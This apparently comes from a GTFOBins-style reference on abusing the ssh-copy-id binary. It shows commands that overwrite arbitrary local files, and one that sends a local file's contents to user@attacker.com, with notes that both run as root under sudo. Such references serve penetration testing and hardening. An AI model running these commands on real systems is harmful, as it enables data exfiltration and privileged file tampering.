ssh-copy-id
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@hostThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
ssh-copy-id -f -i /path/to/input-file.pub user@attacker.comThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com